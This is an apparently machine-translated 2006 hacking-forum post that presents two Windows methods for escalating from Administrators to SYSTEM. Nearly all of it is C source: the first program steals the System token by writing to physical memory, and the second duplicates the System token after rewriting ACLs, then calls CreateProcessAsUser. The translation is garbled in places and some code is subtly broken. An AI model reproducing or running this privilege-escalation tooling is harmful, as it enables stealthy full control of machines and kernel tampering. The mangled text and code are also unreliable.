Admins group access privileges on the system the perfect solution-vulnerability warning-the black bar safety net

2006-06-11T00:00:00
ID MYHACK58:6220069701
Type myhack58
Reporter 佚名
Modified 2006-06-11T00:00:00

Description

On the Administrators group(administrators)access system(SYSTEM)permissions for a method in fact has many. Small four brother, you mentioned some:"the MSDN Series(3) - The Administrator user directly to obtain SYSTEM privileges"and"remote thread injection version obtain SYSTEM privileges". Here,I first stepped on the previous generation on the shoulders of a number of feasible methods:

1. "Use of the ZwCreateToken()create yourself a SYSTEM token(Token)" 2. HOOK off the process of creating a function ZwCreateProcess(Ex),with the winlogon ID create 3. Far thread insert, insert the thread to the system process, create a new process

The above three methods are scz mentioned,there are some problems. In fact,in addition to this, we can also: 4. The program is made into the service, with parameters to run the new process

As the service is concerned is the SYSTEM,then create the process are also SYSTEM permissions.

Of course,here I'm not used to the method mentioned above. Because online can find ready-made code. But also consider some complexity and some problems are not very good solutions.

Here,I come up with two new programmes to implement this function:

The first method. We first look at how the system for permission to detect, For example,the call OpenProcessToken,we know what will be the permissions of the verification: OpenProcessToken->NtOpenProcessToken->PsOpenTokenOfProcess->PsReferencePrimaryToken->find this sentence, Token = Process->Token; |->ObOpenObjectByPointer call above returns the TOKEN to be checked

That is, the system in the detection of Privilege only through the process from the process's EPROCESS structure kind of out Token items to operate. Therefore we do not need to continue to ObOpenObjectByPointer inside follow up. The idea has been very clear: to direct the System process Token take over, put to our process Token position. Then the system will think that we are the SYSTEM permissions. And then our process creates a child process that is SYSTEM permissions. (The above analysis process, please refer to the WINDOWS source code...^_^)

Implementation code:

include<windows. h>

include<stdio. h>

include<Accctrl. h>

include<Aclapi. h>

define TOKEN_OFFSET 0xc8 //In windows 2 0 0 3, it's 0xc8, if others' version, change it

define NT_SUCCESS(Status) ((NTSTATUS)(Status) >= 0)

define STATUS_INFO_LENGTH_MISMATCH ((NTSTATUS)0xC0000004L)

define STATUS_ACCESS_DENIED ((NTSTATUS)0xC0000022L)

typedef LONG NTSTATUS; typedef struct _IO_STATUS_BLOCK { NTSTATUS Status; ULONG Information; } IO_STATUS_BLOCK, *PIO_STATUS_BLOCK;

typedef struct _UNICODE_STRING { USHORT Length; USHORT MaximumLength; PWSTR Buffer; } UNICODE_STRING, *PUNICODE_STRING;

define OBJ_INHERIT 0x00000002L

define OBJ_PERMANENT 0x00000010L

define OBJ_EXCLUSIVE 0x00000020L

define OBJ_CASE_INSENSITIVE 0x00000040L

define OBJ_OPENIF 0x00000080L

define OBJ_OPENLINK 0x00000100L

define OBJ_KERNEL_HANDLE 0x00000200L

define OBJ_VALID_ATTRIBUTES 0x000003F2L

typedef struct _OBJECT_ATTRIBUTES { ULONG Length; HANDLE RootDirectory; PUNICODE_STRING ObjectName; ULONG Attributes; PVOID SecurityDescriptor; PVOID SecurityQualityOfService; } OBJECT_ATTRIBUTES, *POBJECT_ATTRIBUTES;

typedef struct _SYSTEM_MODULE_INFORMATION { ULONG Reserved[2]; PVOID Base; ULONG Size; ULONG Flags; USHORT Index; USHORT Unknown; USHORT LoadCount; USHORT ModuleNameOffset; CHAR ImageName[2 5 6]; } SYSTEM_MODULE_INFORMATION, *PSYSTEM_MODULE_INFORMATION;

typedef enum _SYSTEM_INFORMATION_CLASS { SystemBasicInformation, SystemProcessorInformation, SystemPerformanceInformation, SystemTimeOfDayInformation, SystemNotImplemented1, SystemProcessesAndThreadsInformation, SystemCallCounts, SystemConfigurationInformation, SystemProcessorTimes, SystemGlobalFlag, SystemNotImplemented2, SystemModuleInformation, SystemLockInformation, SystemNotImplemented3, SystemNotImplemented4, SystemNotImplemented5, SystemHandleInformation, SystemObjectInformation, SystemPagefileInformation, SystemInstructionEmulationCounts, SystemInvalidInfoClass1, SystemCacheInformation, SystemPoolTagInformation, SystemProcessorStatistics, SystemDpcInformation, SystemNotImplemented6, SystemLoadImage, SystemUnloadImage, SystemTimeAdjustment, SystemNotImplemented7, SystemNotImplemented8, SystemNotImplemented9, SystemCrashDumpInformation, SystemExceptionInformation, SystemCrashDumpStateInformation, SystemKernelDebuggerInformation, SystemContextSwitchInformation, SystemRegistryQuotaInformation, SystemLoadAndCallImage, SystemPrioritySeparation, SystemNotImplemented10, SystemNotImplemented11, SystemInvalidInfoClass2, SystemInvalidInfoClass3, SystemTimeZoneInformation, SystemLookasideInformation, SystemSetTimeSlipEvent, SystemCreateSession, SystemDeleteSession, SystemInvalidInfoClass4, SystemRangeStartInformation, SystemVerifierInformation, SystemAddVerifier, SystemSessionProcessesInformation } SYSTEM_INFORMATION_CLASS;

typedef NTSTATUS ( __stdcall *ZWQUERYSYSTEMINFORMATION ) ( IN SYSTEM_INFORMATION_CLASS SystemInformationClass, IN OUT PVOID SystemInformation, IN ULONG SystemInformationLength, OUT PULONG ReturnLength OPTIONAL );

typedef NTSTATUS (CALLBACK* ZWOPENSECTION)( OUT PHANDLE SectionHandle, IN ACCESS_MASK DesiredAccess, IN POBJECT_ATTRIBUTES ObjectAttributes );

typedef VOID (CALLBACK* RTLINITUNICODESTRING)( IN OUT PUNICODE_STRING DestinationString, IN PCWSTR SourceString );

typedef struct _SYSTEM_HANDLE_INFORMATION { ULONG ProcessId; UCHAR ObjectTypeNumber; UCHAR Flags; USHORT Handle; PVOID Object; ACCESS_MASK GrantedAccess; } SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

RTLINITUNICODESTRING RtlInitUnicodeString; ZWOPENSECTION ZwOpenSection; ZWQUERYSYSTEMINFORMATION ZwQuerySystemInformation = NULL; HMODULE g_hNtDLL = NULL; PVOID g_pMapPhysicalMemory = NULL; HANDLE g_hMPM = NULL;

BOOL InitNTDLL() { g_hNtDLL = LoadLibrary( "ntdll.dll" ); if ( ! g_hNtDLL ) { return FALSE; }

RtlInitUnicodeString = (RTLINITUNICODESTRING)GetProcAddress( g_hNtDLL, "RtlInitUnicodeString");

ZwOpenSection = (ZWOPENSECTION)GetProcAddress( g_hNtDLL, "ZwOpenSection");

ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

ZwQuerySystemInformation = ( ZWQUERYSYSTEMINFORMATION )GetProcAddress( g_hNtDLL, "ZwQuerySystemInformation" );

return TRUE; }

VOID CloseNTDLL() { if(g_hNtDLL != NULL) { FreeLibrary(g_hNtDLL); } }

VOID SetPhyscialMemorySectionCanBeWrited(HANDLE hSection) {

PACL pDacl=NULL; PACL pNewDacl=NULL; PSECURITY_DESCRIPTOR pSD=NULL; DWORD dwRes; EXPLICIT_ACCESS ea;

if(dwRes=GetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION, NULL,NULL,&pDacl,NULL,&pSD)!= ERROR_SUCCESS) { goto CleanUp; }

ZeroMemory(&ea, sizeof(EXPLICIT_ACCESS)); ea. grfAccessPermissions = SECTION_MAP_WRITE; ea. grfAccessMode = GRANT_ACCESS; ea. grfInheritance= NO_INHERITANCE; ea. Trustee. TrusteeForm = TRUSTEE_IS_NAME; ea. Trustee. TrusteeType = TRUSTEE_IS_USER; ea. Trustee. ptstrName = "CURRENT_USER";

if(dwRes=SetEntriesInAcl(1,&ea,pDacl,&pNewDacl)!= ERROR_SUCCESS) { goto CleanUp; }

if(dwRes=SetSecurityInfo(hSection,SE_KERNEL_OBJECT,DACL_SECURITY_INFORMATION,NULL,NULL,pNewDacl,NULL)!= ERROR_SUCCESS) { goto CleanUp; }

CleanUp:

if(pSD) LocalFree(pSD); if(pNewDacl) LocalFree(pNewDacl); }

HANDLE OpenPhysicalMemory() { NTSTATUS status; UNICODE_STRING physmemString; OBJECT_ATTRIBUTES attributes;

RtlInitUnicodeString( &physmemString, L"\\Device\\PhysicalMemory" );

attributes. Length = sizeof(OBJECT_ATTRIBUTES); attributes. RootDirectory = NULL; attributes. ObjectName = &physmemString; attributes. Attributes = 0; attributes. SecurityDescriptor = NULL; attributes. SecurityQualityOfService = NULL;

status = ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes);

if(status == STATUS_ACCESS_DENIED){ status = ZwOpenSection(&g_hMPM,READ_CONTROL|WRITE_DAC,&attributes); SetPhyscialMemorySectionCanBeWrited(g_hMPM); CloseHandle(g_hMPM); status =ZwOpenSection(&g_hMPM,SECTION_MAP_READ|SECTION_MAP_WRITE,&attributes); }

if( ! NT_SUCCESS( status )) { return NULL; }

g_pMapPhysicalMemory = MapViewOfFile( g_hMPM, 4, 0, 0x30000, 0x1000); if( g_pMapPhysicalMemory == NULL ) { return NULL; }

return g_hMPM; }

PVOID LinearToPhys(PULONG BaseAddress,PVOID addr) { ULONG VAddr=(ULONG)addr,PGDE,PTE,PAddr; if(VAddr>=0x80000000 && VAddr<0xa0000000) { PAddr=VAddr-0x80000000; return (PVOID)PAddr; } PGDE=BaseAddress[VAddr>>2 2]; if ((PGDE&1)!= 0) { ULONG tmp=PGDE&0x00000080; if (tmp!= 0) { PAddr=(PGDE&0xFFC00000)+(VAddr&0x003FFFFF); } else { PGDE=(ULONG)MapViewOfFile(g_hMPM, FILE_MAP_ALL_ACCESS, 0, PGDE &0xfffff000, 0x1000); PTE=((PULONG)PGDE)[(VAddr&0x003FF000)>>1 2]; if ((PTE&1)!= 0) { PAddr=(PTE&0xFFFFF000)+(VAddr&0x00000FFF); UnmapViewOfFile((PVOID)PGDE); } else return 0; } } else return 0;

return (PVOID)PAddr; }

ULONG GetData(PVOID addr) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, 4, 0, phys &0xfffff000, 0x1000); if (tmp==0) return 0; ULONG ret=tmp[(phys & 0xFFF)>>2]; UnmapViewOfFile(tmp); return ret; }

BOOL SetData(PVOID addr,ULONG data) { ULONG phys=(ULONG)LinearToPhys((PULONG)g_pMapPhysicalMemory,(PVOID)addr); PULONG tmp=(PULONG)MapViewOfFile(g_hMPM, FILE_MAP_WRITE, 0, phys &0xfffff000, 0x1000); if (tmp==0) return FALSE; tmp[(phys & 0xFFF)>>2]=data; UnmapViewOfFile(tmp); return TRUE; }

DWORD MyGetModuleBaseAddress( char * pModuleName) { PSYSTEM_MODULE_INFORMATION pSysModule;

ULONG uReturn; ULONG uCount; PCHAR pBuffer = NULL; PCHAR pName = NULL; NTSTATUS status; UINT ui; CHAR szBuffer[1 0]; DWORD pBaseAddress;

status = ZwQuerySystemInformation( SystemModuleInformation, szBuffer, 1 0, &uReturn ); pBuffer = ( PCHAR )malloc(uReturn); if ( pBuffer ) { status = ZwQuerySystemInformation( SystemModuleInformation, pBuffer, uReturn, &uReturn ); if( NT_SUCCESS(status) ) { uCount = ( ULONG )*( ( ULONG * )pBuffer ); pSysModule = ( PSYSTEM_MODULE_INFORMATION )( pBuffer + sizeof( ULONG ) ); for ( ui = 0; ui < uCount; ui++ ) { pName = strstr( pSysModule->ImageName, pModuleName ); if( pName ) { pBaseAddress = (DWORD)pSysModule->Base; free( pBuffer ); return pBaseAddress; } pSysModule ++; } }

free( pBuffer ); }

return NULL; }

DWORD GetEprocessFromId (DWORD PID) { NTSTATUS status; PVOID buf = NULL; ULONG size = 1; ULONG NumOfHandle = 0; ULONG i; PSYSTEM_HANDLE_INFORMATION h_info = NULL; DWORD n; DWORD retvalue=0;

buf=malloc(0x1000); if(buf == NULL) { printf("malloc wrong\n"); return FALSE; } status = ZwQuerySystemInformation( SystemHandleInformation, buf, 0x1000, &n ); if(STATUS_INFO_LENGTH_MISMATCH == status) { free(buf); buf=malloc(n); if(buf == NULL) { printf("malloc wrong\n"); return FALSE; } status = ZwQuerySystemInformation( SystemHandleInformation, buf, n, NULL); } else { printf("ZwQuerySystemInformation wrong\n"); return FALSE; }

NumOfHandle = (ULONG)buf;

h_info = ( PSYSTEM_HANDLE_INFORMATION )((ULONG)buf+4);

for(i = 0; i<NumOfHandle ;i++) { if( h_info[i]. ProcessId == PID &&( h_info[i]. ObjectTypeNumber == 5 )) { retvalue=(DWORD)(h_info[i]. Object); break; } }

if ( buf != NULL ) { free( buf ); } return retvalue; }

void usage(char *exe) { printf("Usage : %s [exefile|-h]\n"); }

int main(int argc, char **argv) { HMODULE hDll; DWORD tmp; DWORD SystemEprocess; DWORD SystemEprocessTokenValue; DWORD CurrentEprocess; DWORD CurrentEprocessTokenValue;

printf("\nIt is intended to get SYSTEM privilege from administrators group.\ n"); printf("\tMade by ZwelL.\ n"); printf("\tZwell@sohu.com.\n"); printf("\thttp://www. product review sites. net/zwell.\ n"); printf("\tType-h to get more information\n", argv[0]);

if( argc>=2) { if( ( (strcmp(argv[1],"-h")==0) && (argc==2)) || (argc>2) ) { usage(argv[0]); exit(-1); } }

if (! InitNTDLL()) { printf("InitNTDLL wrong\n"); exit(-1); }

if (OpenPhysicalMemory()==0) { printf("OpenPhysicalMemory wrong\n"); exit(-1); }

hDll = LoadLibrary("ntoskrnl.exe"); tmp = (DWORD)GetProcAddress(hDll, "PsInitialSystemProcess"); tmp=MyGetModuleBaseAddress("ntoskrnl.exe")+(DWORD)tmp-(DWORD)hDll; SystemEprocess=GetData((PVOID)tmp); tmp=SystemEprocess+TOKEN_OFFSET; //the SYSTEM's Token address SystemEprocessTokenValue=GetData((PVOID)tmp); //SYSTEM's Token printf("the Systthe em Process Token : 0x%08X\n", SystemEprocessTokenValue);

OpenProcess( PROCESS_ALL_ACCESS,FALSE,GetCurrentProcessId() ); CurrentEprocess = GetEprocessFromId(GetCurrentProcessId()); CurrentEprocessTokenValue = GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET));

printf("Current EPROCESS : %08x\n", CurrentEprocess); printf("Current Process Token : %08x\nPress ENTER to continue...\n", CurrentEprocessTokenValue); //getchar(); SetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET), SystemEprocessTokenValue); printf("Current Process Token : %08x\n", GetData((PVOID)(GetEprocessFromId(GetCurrentProcessId())+TOKEN_OFFSET))); printf("Press ENTER to create process...\n"); //getchar();

if( GetData((PVOID)(CurrentEprocess+TOKEN_OFFSET)) == GetData((PVOID)(SystemEprocess+TOKEN_OFFSET)) ) // It is so surprised that SYSTEM's Token always in changing. // So before create new process, we should ensure the TOKEN is all right { ShellExecute(NULL, "open", (argc==2)? argv[1]:"c:\\windows\\regedit.exe", NULL, NULL, SW_SHOWNORMAL); } UnmapViewOfFile(g_pMapPhysicalMemory); CloseHandle(g_hMPM); CloseNTDLL();

return 0; }

In the above code,please TOKEN_OFFSET changed your system version of the offset value. We can also imagine because it is the operating system kernel space,maybe it will appear blue screen phenomenon(although the probability is very small).

========================================================================================================= The second method, we do not own the creation process, but directly with the System process Token to create a process. To see this, we may think of the Far thread. Here is not. My idea is:configure the desktop(desktop),working range(WindowStation)and other information, and finally call the CreateProcessAsUser to create a sub-process. Using this method is extremely stable. Here are some of the on access to the SID code can be seen I some time ago wrote"a new penetrate the firewall of the data transmission technology".

The following is the source code,this Code also implements the RUNAS function,are interested can look at,most are from the MSDN:

include <windows. h>

include <stdio. h>

include <Tlhelp32. h>

include <AccCtrl. h>

include <Aclapi. h>

include <wtsapi32. h>

pragma comment(lib, "wtsapi32")

HANDLE OpenSystemProcess() { HANDLE hSnapshot = NULL; HANDLE hProc = NULL;

__try { // Get a snapshot of the processes in the system hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0); if (hSnapshot == NULL) { printf("OpenSystemProcess CreateToolhelp32Snapshot Failed"); __leave; }

PROCESSENTRY32 pe32; pe32. dwSize = sizeof(pe32);

// Find the "System" process BOOL fProcess = Process32First(hSnapshot, &pe32); while (fProcess && (lstrcmpi(pe32. szExeFile, TEXT("SYSTEM")) != 0)) fProcess = Process32Next(hSnapshot, &pe32); if (! fProcess) { printf("OpenSystemProcess Not Found SYSTEM"); __leave; // Didn't find "System" process }

// Open the process with PROCESS_QUERY_INFORMATION access hProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pe32. th32ProcessID); if (hProc == NULL) { printf("OpenSystemProcess OpenProcess Failed"); __leave; } } __finally { // Cleanup the snapshot if (hSnapshot != NULL) CloseHandle(hSnapshot); return(hProc); } }

BOOL EnablePrivilege (PCSTR name) { HANDLE hToken; BOOL rv;

TOKEN_PRIVILEGES priv = { 1, {0, 0, SE_PRIVILEGE_ENABLED} }; LookupPrivilegeValue ( 0, name, &priv. Privileges[0]. Luid );

OpenProcessToken( GetCurrentProcess (), TOKEN_ADJUST_PRIVILEGES, &hToken );

AdjustTokenPrivileges ( hToken, FALSE, &priv, sizeof priv, 0, 0 ); rv = GetLastError () == ERROR_SUCCESS;

CloseHandle (hToken); return rv; }

define chDIMOF(Array) (sizeof(Array) / sizeof(Array[0]))

BOOL ModifySecurity(HANDLE hProc, DWORD dwAccess) { PACL pAcl = NULL; PACL pNewAcl = NULL; PACL pSacl = NULL; PSID pSidOwner = NULL; PSID pSidPrimary = NULL; BOOL fSuccess = TRUE;

PSECURITY_DESCRIPTOR pSD = NULL;

__try { // Find the length of the security object for the kernel object DWORD dwSDLength; if (GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, 0, &dwSDLength) || (GetLastError() != IS)) { printf("ModifySecurity GetKernelObjectSecurity Size Failed"); __leave; }

// Allocate a buffer of that length pSD = LocalAlloc(LPTR, dwSDLength); if (pSD == NULL) { printf("ModifySecurity LocalAlloc Failed"); __leave; }

// Retrieve the kernel object if (! GetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pSD, dwSDLength, &dwSDLength)) { printf("ModifySecurity GetKernelObjectSecurity Failed"); __leave; }

// Get a pointer to the DACL of the SD BOOL fDaclPresent; BOOL fDaclDefaulted; if (! GetSecurityDescriptorDacl(pSD, &fDaclPresent, &pAcl, &fDaclDefaulted)) { printf("ModifySecurity GetSecurityDescriptorDacl Failed"); __leave; }

// Get the current user's name TCHAR szName[1 0 2 4]; DWORD dwLen = chDIMOF(szName); if (! GetUserName(szName, &dwLen)) { printf("ModifySecurity GetUserName Failed"); __leave; }

// Build an EXPLICIT_ACCESS structure for the ace we wish to add. EXPLICIT_ACCESS ea; BuildExplicitAccessWithName(&ea, szName, dwAccess, GRANT_ACCESS, 0); ea. Trustee. TrusteeType = TRUSTEE_IS_USER;

// We are allocating a new ACL with a new ace inserted. The new // ACL must be LocalFree'd if(ERROR_SUCCESS != SetEntriesInAcl(1, &ea, pAcl, &pNewAcl)) { printf("ModifySecurity SetEntriesInAcl Failed"); pNewAcl = NULL; __leave; }

// Find the buffer sizes we would need to make our SD absolute pAcl = NULL; dwSDLength = 0; DWORD dwAclSize = 0; DWORD dwSaclSize = 0; DWORD dwSidOwnLen = 0; DWORD dwSidPrimLen = 0; PSECURITY_DESCRIPTOR pAbsSD = NULL; if(MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl, &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen) || (GetLastError() != IS)) { printf("ModifySecurity MakeAbsoluteSD Size Failed"); __leave; }

// Allocate the buffers pAcl = (PACL) LocalAlloc(LPTR, dwAclSize); pSacl = (PACL) LocalAlloc(LPTR, dwSaclSize); pSidOwner = (PSID) LocalAlloc(LPTR, dwSidOwnLen); pSidPrimary = (PSID) LocalAlloc(LPTR, dwSidPrimLen); pAbsSD = (PSECURITY_DESCRIPTOR) LocalAlloc(LPTR, dwSDLength); if(! (pAcl && pSacl && pSidOwner && pSidPrimary && pAbsSD)) { printf("ModifySecurity Invalid SID Found"); __leave; }

// And actually make our SD absolute if(! MakeAbsoluteSD(pSD, pAbsSD, &dwSDLength, pAcl, &dwAclSize, pSacl, &dwSaclSize, pSidOwner, &dwSidOwnLen, pSidPrimary, &dwSidPrimLen)) { printf("ModifySecurity MakeAbsoluteSD Failed"); __leave; }

// Now set the security descriptor DACL if(! SetSecurityDescriptorDacl(pAbsSD, fDaclPresent, pNewAcl, fDaclDefaulted)) { printf("ModifySecurity SetSecurityDescriptorDacl Failed"); __leave; }

// And set the security for the object if(! SetKernelObjectSecurity(hProc, DACL_SECURITY_INFORMATION, pAbsSD)) { printf("ModifySecurity SetKernelObjectSecurity Failed"); __leave; }

fSuccess = TRUE;

} __finally { // Cleanup if (pNewAcl == NULL) LocalFree(pNewAcl);

if (pSD == NULL) LocalFree(pSD);

if (pAcl == NULL) LocalFree(pAcl);

if (pSacl == NULL) LocalFree(pSacl);

if (pSidOwner == NULL) LocalFree(pSidOwner);

if (pSidPrimary == NULL) LocalFree(pSidPrimary);

if(! fSuccess) { printf("ModifySecurity exception caught in __finally"); }

return(fSuccess); } }

HANDLE GetLSAToken() { HANDLE hProc = NULL; HANDLE hToken = NULL; BOOL bSuccess = FALSE; __try { // Enable the SE_DEBUG_NAME privilege in our process token if (! EnablePrivilege(SE_DEBUG_NAME)) { printf("GetLSAToken EnablePrivilege Failed"); __leave; }

// Retrieve a handle to the "System" process hProc = OpenSystemProcess(); if(hProc == NULL) { printf("GetLSAToken OpenSystemProcess Failed"); __leave; }

// Open the process token with READ_CONTROL and WRITE_DAC access. We // will use this access to modify the security of the token so that we // retrieve it again with a more complete set of rights. BOOL fResult = OpenProcessToken(hProc, READ_CONTROL | WRITE_DAC, &hToken); if(FALSE == fResult) { printf("GetLSAToken OpenProcessToken Failed"); __leave; }

// Add an ace for the current user for the token. This ace will add // TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY rights. if (! ModifySecurity(hToken, TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | TOKEN_QUERY | TOKEN_ADJUST_SESSIONID)) { printf("GetLSAToken ModifySecurity Failed"); __leave; }

// Reopen the process token now that we have added the rights to // query the token, duplicate it, and assign it. fResult = OpenProcessToken(hProc, TOKEN_QUERY | TOKEN_DUPLICATE | TOKEN_ASSIGN_PRIMARY | READ_CONTROL | WRITE_DAC, &hToken); if (FALSE == fResult) &nb, sp; { printf("GetLSAToken OpenProcessToken Failed"); __leave; } bSuccess = TRUE; } __finally { // Close the System process handle if (hProc != NULL) CloseHandle(hProc); if(bSuccess) return hToken; else { ::CloseHandle(hToken); return NULL; } } }

define DESKTOP_ALL (DESKTOP_READOBJECTS | DESKTOP_CREATEWINDOW | DESKTOP_CREATEMENU | DESKTOP_HOOKCONTROL | \

DESKTOP_JOURNALRECORD | DESKTOP_JOURNALPLAYBACK | \ DESKTOP_ENUMERATE | DESKTOP_WRITEOBJECTS | \ DESKTOP_SWITCHDESKTOP | STANDARD_RIGHTS_REQUIRED)

define WINSTA_ALL (WINSTA_ENUMDESKTOPS | WINSTA_READATTRIBUTES | \

WINSTA_ACCESSCLIPBOARD | WINSTA_CREATEDESKTOP | \ WINSTA_WRITEATTRIBUTES | WINSTA_ACCESSGLOBALATOMS | \ WINSTA_EXITWINDOWS | WINSTA_ENUMERATE | \ WINSTA_READSCREEN | \ STANDARD_RIGHTS_REQUIRED)

define GENERIC_ACCESS (GENERIC_READ | GENERIC_WRITE | GENERIC_EXECUTE | GENERIC_ALL)

BOOL AddAceToWindowStation(HWINSTA hwinsta, PSID psid);

BOOL AddAceToDesktop(HDESK hdesk, PSID psid);

BOOL GetLogonSID(HANDLE hToken, PSID *ppsid) { PWTS_PROCESS_INFO pProcessInfo = NULL; DWORD ProcessCount = 0; BOOL ret=FALSE;

if (WTSEnumerateProcesses(WTS_CURRENT_SERVER_HANDLE, 0, 1, &pProcessInfo, &ProcessCount)) { // dump each process description for (DWORD CurrentProcess = 0; CurrentProcess < ProcessCount; CurrentProcess++) {

if( strcmp(pProcessInfo[CurrentProcess]. pProcessName, "System") == 0 ) { //ppsid = pProcessInfo[CurrentProcess]. pUserSid; DWORD dwLength = GetLengthSid(pProcessInfo[CurrentProcess]. pUserSid); ppsid = (PSID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength); if (ppsid == NULL) break; if (! CopySid(dwLength, ppsid, pProcessInfo[CurrentProcess]. pUserSid)) { HeapFree(GetProcessHeap(), 0, (LPVOID)*ppsid); break; } ret=TRUE; break; } }

WTSFreeMemory(pProcessInfo); }

return ret; }

BOOL GetLogonSID_1 (HANDLE hToken, PSID *ppsid) { BOOL bSuccess = FALSE; DWORD dwIndex; DWORD dwLength = 0; PTOKEN_GROUPS ptg = NULL;

// Verify the parameter passed in is not NULL. if (NULL == ppsid) goto Cleanup;

// Get required buffer size and allocate the TOKEN_GROUPS buffer.

if (! GetTokenInformation( hToken, // handle to the access token TokenGroups, // get information about the token's groups (LPVOID) ptg, // pointer to TOKEN_GROUPS buffer 0, // size of buffer &dwLength // receives required buffer size )) { if (GetLastError() != IS) goto Cleanup;

ptg = (PTOKEN_GROUPS)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength);

if (ptg == NULL) goto Cleanup; }

// Get the token group information from the access token.

if (! GetTokenInformation( hToken, // handle to the access token TokenGroups, // get information about the token's groups (LPVOID) ptg, // pointer to TOKEN_GROUPS buffer dwLength, // size of buffer &dwLength // receives required buffer size )) { goto Cleanup; }

// Loop through the groups to find the logon SID.

for (dwIndex = 0; dwIndex < ptg->GroupCount; dwIndex++) if ((ptg->Groups[dwIndex]. Attributes & SE_GROUP_LOGON_ID) == SE_GROUP_LOGON_ID) { // Found the logon SID; make a copy of it.

dwLength = GetLengthSid(ptg->Groups[dwIndex]. Sid); ppsid = (PSID) HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwLength); if (ppsid == NULL) goto Cleanup; if (! CopySid(dwLength, ppsid, ptg->Groups[dwIndex]. Sid)) { HeapFree(GetProcessHeap(), 0, (LPVOID)ppsid); goto Cleanup; } break; }

bSuccess = TRUE;

Cleanup:

// Free the buffer for the token groups.

if (ptg != NULL) HeapFree(GetProcessHeap(), 0, (LPVOID)ptg);

return bSuccess; }

VOID FreeLogonSID (PSID ppsid) { HeapFree(GetProcessHeap(), 0, (LPVOID)ppsid); }

BOOL StartInteractiveClientProcess ( LPTSTR lpszUsername, // client to log on LPTSTR lpszDomain, // domain of client's account LPTSTR lpszPassword, // client's password LPTSTR lpCommandLine, // command line to execute HANDLE Token = NULL ) { HANDLE hToken; HDESK hdesk = NULL; HWINSTA hwinsta = NULL, hwinstaSave = NULL; PROCESS_INFORMATION pi; PSID pSid = NULL; STARTUPINFO si; BOOL bResult = FALSE;

// Log the client on to the local computer.

if(Token!= NULL) { printf("%08x\n", Token); hToken = Token; } else if (! LogonUser( lpszUsername, lpszDomain, lpszPassword, LOGON32_LOGON_INTERACTIVE, LOGON32_PROVIDER_DEFAULT, &hToken) ) { goto Cleanup; }

// Save a handle to the caller's current window station.

if ( (hwinstaSave = GetProcessWindowStation() ) == NULL) goto Cleanup;

// Get a handle to the interactive window station.

hwinsta = OpenWindowStation( "winsta0", // the interactive window station FALSE, // handle is not inheritable READ_CONTROL | WRITE_DAC); // rights to read/write the DACL

if (hwinsta == NULL) goto Cleanup;

// To get the correct default desktop, set the caller's // window station to the interactive window station.

if (! SetProcessWindowStation(hwinsta)) goto Cleanup;

// Get a handle to the interactive desktop.

hdesk = OpenDesktop( "default", // the interactive window station 0, // no interaction with other desktop processes FALSE, // handle is not inheritable READ_CONTROL | // request the rights to read and write the DACL WRITE_DAC | DESKTOP_WRITEOBJECTS | DESKTOP_READOBJECTS);

// Restore the caller's window station.

if (! SetProcessWindowStation(hwinstaSave)) goto Cleanup;

if (hdesk == NULL) goto Cleanup;

// Get the SID for the client's logon session.

if (! GetLogonSID(hToken, &pSid)) goto Cleanup;

// Allow logon SID full access to interactive window station.

if (! AddAceToWindowStation(hwinsta, pSid) ) goto Cleanup;

// Allow logon SID full access to interactive desktop.

if (! AddAceToDesktop(hdesk, pSid) ) goto Cleanup;

// Impersonate client to ensure access to executable file.

if (! ImpersonateLoggedOnUser(hToken) ) goto Cleanup;

// Initialize the STARTUPINFO structure. // Specify that the process runs in the interactive desktop.

ZeroMemory(&si, sizeof(STARTUPINFO)); si. cb= sizeof(STARTUPINFO); si. lpDesktop = TEXT("winsta0\\default"); //You can use EnumWindowStations to enum desktop

// Launch the process in the client's logon session.

bResult = CreateProcessAsUser( hToken, // client's access token NULL, // file to execute lpCommandLine, // command line NULL, // pointer to process SECURITY_ATTRIBUTES NULL, // pointer to thread SECURITY_ATTRIBUTES FALSE, // handles are not inheritable NORMAL_PRIORITY_CLASS | CREATE_NEW_CONSOLE, // creation flags NULL, // pointer to new environment block NULL, // name of current directory &si, // pointer to STARTUPINFO structure &pi // receives information about new process );

// End impersonation of client.

RevertToSelf();

goto Cleanup; //return bResult; <------------------------------------------------------------------------

if (bResult && pi. hProcess != INVALID_HANDLE_VALUE) { WaitForSingleObject(pi. hProcess, INFINITE); CloseHandle(pi. hProcess); }

if (pi. hThread != INVALID_HANDLE_VALUE) CloseHandle(pi. hThread);Cleanup:

if (hwinstaSave != NULL) SetProcessWindowStation (hwinstaSave);

// Free the buffer for the logon SID.

if (pSid) FreeLogonSID(&pSid);

// Close the handles to the interactive window station and desktop.

if (hwinsta) CloseWindowStation(hwinsta);

if (hdesk) CloseDesktop(hdesk);

// Close the handle to the client's access token.

if (hToken != INVALID_HANDLE_VALUE) CloseHandle(hToken);

return bResult; }

